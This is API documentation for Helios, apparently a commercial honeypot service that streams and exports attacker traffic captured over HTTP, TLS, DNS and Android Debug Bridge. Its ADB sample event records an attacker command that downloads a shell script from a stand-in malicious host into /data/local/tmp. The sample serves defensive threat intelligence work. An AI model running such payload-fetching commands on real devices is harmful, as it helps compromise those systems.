Helios
Helios is the Synthient honeypot platform. A globally distributed mesh of decoy HTTP, TLS, DNS, and Android Debug Bridge endpoints sits behind residential, datacenter, and mobile egress points, capturing every request, ClientHello, hostname lookup, and shell command attackers send. Every observation flows into the same lookup, feed, and streaming surfaces that power the rest of Synthient.
What Helios captures
| Sensor | Surface | Contents |
|---|---|---|
| HTTP | Plaintext :80 honeypots impersonating common origins | Method, URI, headers, raw request bytes, source proxy metadata |
| TLS | TLS terminators on :443 capturing ClientHello | Negotiated version, cipher suites, extensions, supported groups, signature algorithms |
| DNS | Tunnel-side resolution observations | Queried hostname and destination port for each tunnelled flow |
| ADB | Android Debug Bridge :5555 sensors | Base64-encoded shell commands, session grouping, command hashes |
Each event carries a meta block identifying the upstream proxy network pool_id, provider, proxy_ip, and the impersonated server so you can attribute attacker traffic back to the exit it traversed.
Access surfaces
Helios data is available three ways depending on your latency and volume needs:
| Surface | Best for | Endpoint |
|---|---|---|
| Domain lookup | Per-domain intelligence aggregate stats, top subdomains/ports, recent events | GET /api/v4/lookup/domain/{domain} |
| Live streams | Real-time correlation, SOC tooling, in-memory threat caches | NDJSON streams below |
| Parquet exports | Bulk analytics, training data, retrospective hunts | Daily and hourly snapshots via Feeds |
Authentication & scopes
All Helios endpoints are served from https://api.synthient.com under /api/v4 and require your API key in the x-api-key header.
Each sensor exposes two scopes one for the parquet exports and one for the real-time stream:
| Scope | Grants |
|---|---|
HONEYPOT_HTTP_FEED / HONEYPOT_HTTP_STREAM | HTTP capture exports / stream. |
HONEYPOT_HTTPS_FEED / HONEYPOT_HTTPS_STREAM | TLS ClientHello capture exports / stream. |
HONEYPOT_DNS_FEED / HONEYPOT_DNS_STREAM | DNS resolution exports / stream. |
HONEYPOT_ADB_FEED / HONEYPOT_ADB_STREAM | Android Debug Bridge shell-command exports / stream. |
See Authentication for full key handling and Errors for the 401/403 responses you'll see if a scope is missing.
Domain intelligence
The fastest way to put Helios to work is the domain lookup. It returns aggregate stats, a time series, top subdomains and ports, and the most recent raw events seen against the queried domain built from the same captures the streams below emit.
curl -G https://api.synthient.com/api/v4/lookup/domain/example.com \
-H "x-api-key: $API_KEY"
Full request, response, and code samples live on the IP API page.
Common response codes
| Status Code | Description |
|---|---|
| 200 - Streaming | NDJSON body one JSON object per line, open up to 30 minutes. |
| 401 - Unauthorized | Missing or invalid API key. |
| 403 - Forbidden | API key lacks the per-sensor HONEYPOT_*_STREAM scope for streaming or HONEYPOT_*_FEED scope for exports. |
| 429 - Too Many Requests | Too many concurrent streams from this client. |
| 500 - Internal Server Error | Unexpected server-side error. |
| 503 - Service Unavailable | Streaming backend is down retry with backoff. |
Stream HTTP captures
Real-time stream of HTTP request captures from Helios sensors, including method, URI, headers, and the raw request bytes.
- Name
timestamp- Type
- integer
- Description
Unix timestamp in milliseconds when the request was captured.
- Name
domain- Type
- string
- Description
Destination domain the sensor impersonated.
- Name
port- Type
- integer
- Description
Destination port.
- Name
tunnel_id- Type
- integer
- Description
Internal tunnel identifier.
- Name
protocol- Type
- string
- Description
Always
"http"for this stream.
- Name
details.method- Type
- string
- Description
HTTP method, such as
GETorPOST.
- Name
details.uri- Type
- string
- Description
Request URI.
- Name
details.version- Type
- string
- Description
HTTP version, such as
HTTP/1.1.
- Name
details.headers- Type
- object
- Description
Request headers as a string-to-string map. Header keys preserve the casing the client sent.
- Name
raw- Type
- string
- Description
Raw HTTP request bytes.
- Name
meta- Type
- object
- Description
Source metadata
pool_id,provider,proxy_ip, and the upstreamserverashost:port.
Request
curl -N https://api.synthient.com/api/v4/feeds/helio/http/stream \
-H "x-api-key: $API_KEY"
NDJSON events
{"timestamp":1778200137487,"tunnel_id":961793813,"domain":"ip-api.com","port":80,"protocol":"http","meta":{"proxy_ip":"195.63.23.169","server":"s1860.novel-layer.com:6000","pool_id":"flixview_gms","provider":"popa"},"details":{"method":"GET","uri":"/json/?fields=61439","version":"HTTP/1.1","headers":{"User-Agent":"axios/1.16.0","Host":"ip-api.com"}},"raw":"GET /json/?fields=61439 HTTP/1.1\r\nHost: ip-api.com\r\n…"}
Stream TLS captures
Real-time stream of TLS ClientHello captures from Helios sensors. The details block carries the fully parsed handshake record/handshake versions, the client random and session ID, the full cipher-suite and extension lists with their numeric codes, supported groups, signature algorithms, key-share groups, PSK key-exchange modes, and the boolean handshake flags (extended_master_secret, renegotiation_info, status_request, signed_certificate_timestamps, has_grease, etc.).
- Name
timestamp- Type
- integer
- Description
Unix timestamp in milliseconds when the ClientHello was captured.
- Name
domain- Type
- string
- Description
Destination domain, taken from the SNI extension.
- Name
port- Type
- integer
- Description
Destination port.
- Name
tunnel_id- Type
- integer
- Description
Internal tunnel identifier.
- Name
protocol- Type
- string
- Description
Always
"https"for this stream.
- Name
meta- Type
- object
- Description
Source metadata
proxy_ip,server,pool_id,provider.
- Name
details- Type
- object | null
- Description
Parsed ClientHello.
nullonly when parsing failed. Keys include:record_version,handshake_version,client_random,session_id,session_id_length,cipher_suites(each{code, name}),compression_methods,sni,supported_versions,supported_groups,ec_point_formats,signature_algorithms,extensions(each{code, name, length}),key_share_groups,psk_key_exchange_modes, plus boolean flagsextended_master_secret,renegotiation_info,status_request,signed_certificate_timestamps,has_grease,encrypt_then_mac,post_handshake_auth,delegated_credentials,application_settings.
- Name
raw- Type
- null
- Description
Currently always
null; the raw ClientHello bytes are available only via the parquet exports.
Request
curl -N https://api.synthient.com/api/v4/feeds/helio/https/stream \
-H "x-api-key: $API_KEY"
NDJSON events
{
"timestamp": 1778200008794,
"tunnel_id": 740057945,
"domain": "www.youtube.com",
"port": 443,
"protocol": "https",
"meta": {
"proxy_ip": "217.181.88.34",
"server": "s1863.novel-layer.com:6000",
"pool_id": "flixview_gms",
"provider": "popa"
},
"details": {
"record_version": "TLS 1.2",
"handshake_version": "TLS 1.2",
"client_random": "9fdd003157d728fcae103ccc0f849396ed67784ed71c557cbaa1ae9abe39aea5",
"session_id_length": 32,
"session_id": "4cfe7bb506b4e8593d96fbf1d66bf70cf1a46c39c7e2fe55672c3cf9689e10f6",
"cipher_suites": [
{ "code": 4865, "name": "TLS_AES_128_GCM_SHA256" },
{ "code": 4866, "name": "TLS_AES_256_GCM_SHA384" }
// ... rest of the cipher suites
],
"sni": "www.youtube.com",
"supported_versions": ["TLS 1.3", "TLS 1.2"],
"extensions": [
{ "code": 0, "name": "server_name", "length": 20 },
{ "code": 43, "name": "supported_versions", "length": 9 }
// ... rest of the extensions
],
"extended_master_secret": true,
"renegotiation_info": true,
"status_request": true,
"has_grease": false
// ... rest of the parsed ClientHello
},
"raw": null
}
Stream DNS captures
Real-time stream of resolution observations from Helios honeypot tunnels every hostname an inbound flow is destined for, alongside the destination port. Useful for catching the early "where is the C2?" stage of an attacker session and for surfacing fast-flux infrastructure.
- Name
timestamp- Type
- integer
- Description
Unix timestamp in milliseconds when the resolution was observed.
- Name
tunnel_id- Type
- integer
- Description
Internal tunnel identifier joins back to the matching HTTP/TLS captures from the same flow.
- Name
domain- Type
- string
- Description
Hostname being resolved by the inbound flow.
- Name
port- Type
- integer
- Description
Destination port the flow intended to reach.
- Name
meta- Type
- object
- Description
Source metadata
proxy_ip,server,pool_id,provider. Streamed only. Themetablock is omitted from parquet exports because the projector does not handle nested messages fall back totunnel_idif you need to correlate exports across sensors.
Request
curl -N https://api.synthient.com/api/v4/feeds/helio/dns/stream \
-H "x-api-key: $API_KEY"
NDJSON events
{"timestamp":1762605697,"tunnel_id":42,"domain":"c2.example.com","port":443,"meta":{"proxy_ip":"203.0.113.42","server":"hp-04","pool_id":"pool-us-east","provider":"BRIGHTDATA"}}
Stream ADB captures
Real-time stream of Android Debug Bridge shell commands captured by Helios sensors. The command field is the raw shell command bytes serialized as a JSON string use the SHA-256 hash to deduplicate identical commands across sessions.
- Name
session- Type
- string
- Description
ADB session hash groups commands from the same connection.
- Name
sequential_id- Type
- integer
- Description
Monotonically-increasing event ID within a session.
- Name
command- Type
- string
- Description
Shell command executed by the attacker, encoded as a JSON string.
- Name
hash- Type
- string
- Description
SHA-256 of the executed command bytes stable across sessions.
Request
curl -N https://api.synthient.com/api/v4/feeds/helio/adb/stream \
-H "x-api-key: $API_KEY"
NDJSON events
{"session":"a1b2c3d4…","sequential_id":918274,"command":"cd /data/local/tmp; wget http://evil.example.com/bin.sh","hash":"7e8f…"}
Consuming Helios streams
Helios uses the same NDJSON server-streaming pattern as the rest of the Firehose. Connections stay open up to 30 minutes; reconnect immediately on clean close, and back off with jitter on errors. Full Python, TypeScript, and Go consumers are on the Firehose page swap the URL for the Helios stream you want.
Bulk exports
For retrospective analysis, every Helios sensor publishes daily and hourly parquet snapshots through the standard Feeds endpoints under the honeypot_http, honeypot_https, honeypot_dns, and honeypot_adb stream identifiers.
curl -G https://api.synthient.com/api/v4/feeds/helio/http/export \
-H "x-api-key: $API_KEY"
Next steps
- IP API domain lookup per-domain Helios intelligence.
- Feeds daily/hourly parquet snapshots of every Helios sensor.
- Firehose full NDJSON consumer reference and proxy/anonymizer/fingerprint streams.